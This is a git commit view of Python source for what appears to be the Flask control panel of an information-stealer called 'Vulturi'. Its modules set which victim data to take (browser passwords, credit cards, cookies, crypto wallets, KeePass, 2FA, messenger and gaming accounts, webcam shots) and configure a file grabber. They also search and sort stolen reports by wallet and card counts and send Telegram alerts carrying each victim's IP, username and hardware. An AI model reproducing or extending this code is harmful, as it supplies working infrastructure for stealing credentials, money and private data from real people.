initial commit
This commit is contained in:
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
# Coded by [email protected]
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from base64 import b64encode, b64decode
|
||||
# Import packages
|
||||
from core.models.accounts import clients_db
|
||||
|
||||
# Get encryption key
|
||||
def GetEncryptionKey(owner: str) -> str:
|
||||
response = clients_db.execute(
|
||||
sql="SELECT key FROM encryption WHERE owner = ?",
|
||||
values=[owner],
|
||||
commit_changes=False
|
||||
)
|
||||
# Skip if empty
|
||||
if len(response) == 0:
|
||||
return ""
|
||||
# Return values
|
||||
else:
|
||||
return response[0][0]
|
||||
|
||||
# Change encryption key
|
||||
def SetEncryptionKey(owner: str, key: str):
|
||||
clients_db.execute(
|
||||
sql="UPDATE encryption SET key = ? WHERE owner = ?",
|
||||
values=[key, owner],
|
||||
commit_changes=True
|
||||
)
|
||||
|
||||
class RC4Cipher:
|
||||
""" RC4 encrypt/decrypt """
|
||||
def __init__(self, key):
|
||||
assert(isinstance(key, (bytes, bytearray)))
|
||||
|
||||
# key scheduling
|
||||
S = list(range(0x100))
|
||||
j = 0
|
||||
for i in range(0x100):
|
||||
j = (S[i] + key[i % len(key)] + j) & 0xff
|
||||
S[i], S[j] = S[j], S[i]
|
||||
self.S = S
|
||||
|
||||
def CryptBytes(self, data):
|
||||
"""
|
||||
Encrypts/decrypts data (It's the same thing!)
|
||||
"""
|
||||
assert(isinstance(data, (bytes, bytearray)))
|
||||
return bytes([a ^ b for a, b in zip(data, self._keystream_generator())])
|
||||
|
||||
def Encrypt(self, string):
|
||||
"""
|
||||
Encrypts string
|
||||
"""
|
||||
return b64encode(self.CryptBytes(string.encode('utf8'))).decode('utf8')
|
||||
|
||||
def Decrypt(self, string):
|
||||
"""
|
||||
Decrypts string
|
||||
"""
|
||||
return self.CryptBytes(b64decode(string)).decode('utf8')
|
||||
|
||||
def _keystream_generator(self):
|
||||
"""
|
||||
Generator that returns the bytes of keystream
|
||||
"""
|
||||
S = self.S.copy()
|
||||
x = y = 0
|
||||
while True:
|
||||
x = (x + 1) & 0xff
|
||||
y = (S[x] + y) & 0xff
|
||||
S[x], S[y] = S[y], S[x]
|
||||
i = (S[x] + S[y]) & 0xff
|
||||
yield S[i]
|
||||
@@ -0,0 +1,64 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from json import loads, dumps
|
||||
# Import packages
|
||||
from core.models.accounts import clients_db
|
||||
|
||||
""" Save grabber rules """
|
||||
def _SaveGrabberRules(owner: str, paths: list, extensions: list, max_size: int = 2097152):
|
||||
clients_db.execute(
|
||||
sql="UPDATE grabber SET scan_paths = ?, extensions = ?, max_size = ? WHERE owner = ?",
|
||||
values=[dumps(paths), dumps(extensions), max_size, owner],
|
||||
commit_changes=True
|
||||
)
|
||||
|
||||
""" Get grabber rules """
|
||||
def GetGrabberRules(owner: str) -> dict:
|
||||
response = clients_db.execute(
|
||||
sql="SELECT scan_paths, extensions, max_size FROM grabber WHERE owner = ?",
|
||||
values=[owner],
|
||||
commit_changes=False
|
||||
)
|
||||
# Return nothing if user not found
|
||||
if len(response) == 0:
|
||||
return {
|
||||
"paths": [],
|
||||
"extensions": [],
|
||||
"max_size": 0
|
||||
}
|
||||
# Return grabber settings
|
||||
return {
|
||||
"paths": loads(response[0][0]),
|
||||
"extensions": loads(response[0][1]),
|
||||
"max_size": response[0][2]
|
||||
}
|
||||
|
||||
""" Delete scan path from grabber """
|
||||
def DeleteGrabberPath(owner: str, value: str):
|
||||
rules = GetGrabberRules(owner)
|
||||
scan_paths = rules["paths"]
|
||||
# Delete item
|
||||
for i, v in enumerate(scan_paths):
|
||||
if v == value: scan_paths.pop(i)
|
||||
# Save
|
||||
_SaveGrabberRules(owner, scan_paths, rules["extensions"], rules["max_size"])
|
||||
|
||||
""" Append new value to grabber paths """
|
||||
def AddGrabberPath(owner: str, value: str):
|
||||
rules = GetGrabberRules(owner)
|
||||
scan_paths = rules["paths"]
|
||||
scan_paths.append(value)
|
||||
_SaveGrabberRules(owner, scan_paths, rules["extensions"], rules["max_size"])
|
||||
|
||||
""" Save grabber extensions list """
|
||||
def SetGrabberExtensions(owner: str, values: list):
|
||||
rules = GetGrabberRules(owner)
|
||||
_SaveGrabberRules(owner, rules["paths"], values, rules["max_size"])
|
||||
|
||||
""" Save grabber extensions list """
|
||||
def SetGrabberMaxSize(owner: str, size: int):
|
||||
rules = GetGrabberRules(owner)
|
||||
_SaveGrabberRules(owner, rules["paths"], rules["extensions"], size)
|
||||
@@ -0,0 +1,24 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from flask import request
|
||||
|
||||
# Show reports only with selected domains
|
||||
def SearchReports(reports: list) -> list:
|
||||
domains = request.args.get("search_domains")
|
||||
# If empty
|
||||
if domains is None:
|
||||
return reports
|
||||
# Create empty list and parse domains
|
||||
result = []
|
||||
domains = domains.lower().split(", ")
|
||||
# Find reports
|
||||
for report in reports:
|
||||
pwds = report.passwords_list.lower()
|
||||
for domain in domains:
|
||||
if domain in pwds:
|
||||
result.append(report)
|
||||
|
||||
return result
|
||||
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from flask import request
|
||||
|
||||
# Sort all reports by Size/Country/Date
|
||||
def SortReports(reports: list) -> list:
|
||||
# Do reverse
|
||||
reverse = request.args.get("reverse") != "1"
|
||||
option = request.args.get("sort_option")
|
||||
# Sort by country
|
||||
if option == "country":
|
||||
return sorted(reports,
|
||||
key=lambda r: r.geo_data.country, reverse=reverse)
|
||||
# Sort by upload date
|
||||
elif option == "date":
|
||||
return sorted(reports,
|
||||
key=lambda r: r.add_time, reverse=reverse)
|
||||
# Sort by wallets, creditcards and passwords count
|
||||
elif option == "count":
|
||||
return sorted(reports, key=lambda r: (
|
||||
r.counter["wallets"],
|
||||
r.counter["credit_cards"],
|
||||
r.counter["passwords"]
|
||||
), reverse=reverse)
|
||||
# Skip sorting
|
||||
else:
|
||||
return reports
|
||||
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from json import loads, dumps
|
||||
# Import packages
|
||||
from core.models.accounts import clients_db
|
||||
|
||||
""" Dictonary with apps :/ """
|
||||
DEFAULT_TARGET_APPS = {
|
||||
"browsers": "Browsers (Passwords, CreditCards, Cookies, History, Bookmarks)",
|
||||
"wallets": "Crypto Wallets, Keys, KeePass, 2FA",
|
||||
"messengers": "Messengers, Emails",
|
||||
"gaming": "Steam, Uplay, Origin, Minecraft",
|
||||
"grabber": "File Grabber",
|
||||
"webcam": "Webcamera screenshot",
|
||||
"system": "Screenshots, Networks, Vault, Credman, Installed apps",
|
||||
"other": "Other (VPN, FTP, SSH, etc...)",
|
||||
}
|
||||
|
||||
""" App object for flask render template"""
|
||||
class TargetApp(object):
|
||||
def __init__(self, name: str, description: str, checked: bool):
|
||||
self.name = name
|
||||
self.description = description
|
||||
self.checked = "selected" if checked else ""
|
||||
|
||||
""" Get enabled apps list """
|
||||
def GetEnabledApps(owner: str) -> list:
|
||||
response = clients_db.execute(
|
||||
sql="SELECT apps FROM targets WHERE owner = ?",
|
||||
values=[owner],
|
||||
commit_changes=False
|
||||
)
|
||||
return loads(response[0][0])
|
||||
|
||||
""" Get all apps """
|
||||
def GetAllTargetApps(owner: str) -> list:
|
||||
enabled = GetEnabledApps(owner)
|
||||
all_apps = list(map(lambda n: TargetApp(n, DEFAULT_TARGET_APPS[n], n in enabled), DEFAULT_TARGET_APPS.keys()))
|
||||
return all_apps
|
||||
|
||||
""" Set apps """
|
||||
def SetTargetApps(owner: str, apps: list):
|
||||
clients_db.execute(
|
||||
sql="UPDATE targets SET apps = ? WHERE owner = ?",
|
||||
values=[dumps(apps), owner],
|
||||
commit_changes=True
|
||||
)
|
||||
@@ -0,0 +1,82 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Coded by [email protected]
|
||||
|
||||
# Import modules
|
||||
from requests import get
|
||||
from json import dumps, loads
|
||||
# Import packages
|
||||
from core.models.accounts import clients_db
|
||||
|
||||
""" Convert bytes to mb """
|
||||
def _ConvertSize(size, precision=2):
|
||||
suffixes=["B", "KB", "MB", "GB", "TB"]
|
||||
suffixIndex = 0
|
||||
while size > 1024 and suffixIndex < 4:
|
||||
suffixIndex += 1 #increment the index of the suffix
|
||||
size = size / 1024.0 #apply the division
|
||||
return "%.*f%s"%(precision, size, suffixes[suffixIndex])
|
||||
|
||||
""" Run telegram notification """
|
||||
def NotifyUsers(report, owner: str, ip: str):
|
||||
token, chatids = GetTelegramCredentials(owner)
|
||||
# Skip if empty
|
||||
if len(token) < 5 or len(chatids) == 0:
|
||||
return False
|
||||
# Parse data
|
||||
counter = loads(report.counter)
|
||||
info = loads(report.information)
|
||||
# Pack message
|
||||
m = "🗃 *Vulturi new report!*\n\n"
|
||||
m += f"Remote address: {ip}\n"
|
||||
m += f"Archive size: {_ConvertSize(len(report.archive))}\n\n"
|
||||
|
||||
m += "💳 *Counter statistics:*\n"
|
||||
m += f" - Passwords: {counter['passwords']}\n"
|
||||
m += f" - CreditCards: {counter['credit_cards']}\n"
|
||||
m += f" - Wallets: {counter['wallets']}\n"
|
||||
m += f" - Files: {counter['grabber']}\n\n"
|
||||
|
||||
m += "🧭 *Operating System info:*\n"
|
||||
m += f" - OS: {info['os']['name']}\n"
|
||||
m += f" - Username: {info['os']['username']}\n"
|
||||
m += f" - Compname: {info['os']['compname']}\n\n"
|
||||
|
||||
m += "💻 *Hardware info:*\n"
|
||||
m += f" - CPU: {info['hardware']['cpu_name']}\n"
|
||||
m += f" - GPU: {info['hardware']['gpu_name']}\n"
|
||||
m += f" - RAM: {info['hardware']['ram']}\n"
|
||||
m += f" - Screen: {info['hardware']['screen']}\n"
|
||||
m += f" - Manufacturer: {info['hardware']['manufacturer']}\n"
|
||||
|
||||
# Send messages
|
||||
for chatid in chatids:
|
||||
get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chatid}&text={m}&parse_mode=markdown")
|
||||
|
||||
""" Get credentials from database """
|
||||
def GetTelegramCredentials(owner: str) -> tuple:
|
||||
response = clients_db.execute(
|
||||
sql="SELECT token, chatid FROM telegram WHERE owner = ?",
|
||||
values=[owner],
|
||||
commit_changes=False
|
||||
)
|
||||
# Skip if empty
|
||||
if len(response) == 0:
|
||||
return "", []
|
||||
# Return values
|
||||
else:
|
||||
return response[0][0], loads(response[0][1])
|
||||
|
||||
""" Change telegram bot credentials """
|
||||
def SetTelegramCredentials(owner: str, token: str, chatids: list):
|
||||
clients_db.execute(
|
||||
sql="UPDATE telegram SET token = ?, chatid = ? WHERE owner = ?",
|
||||
values=[token, dumps(chatids), owner],
|
||||
commit_changes=True
|
||||
)
|
||||
# Send test message
|
||||
for chatid in chatids:
|
||||
text = f"🔗 Hello {owner}!\nThe control panel is now linked to this telegram bot, now notifications about new reports will come here"
|
||||
get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={chatid}&text={text}")
|
||||
|
||||
|
||||
Reference in New Issue
Block a user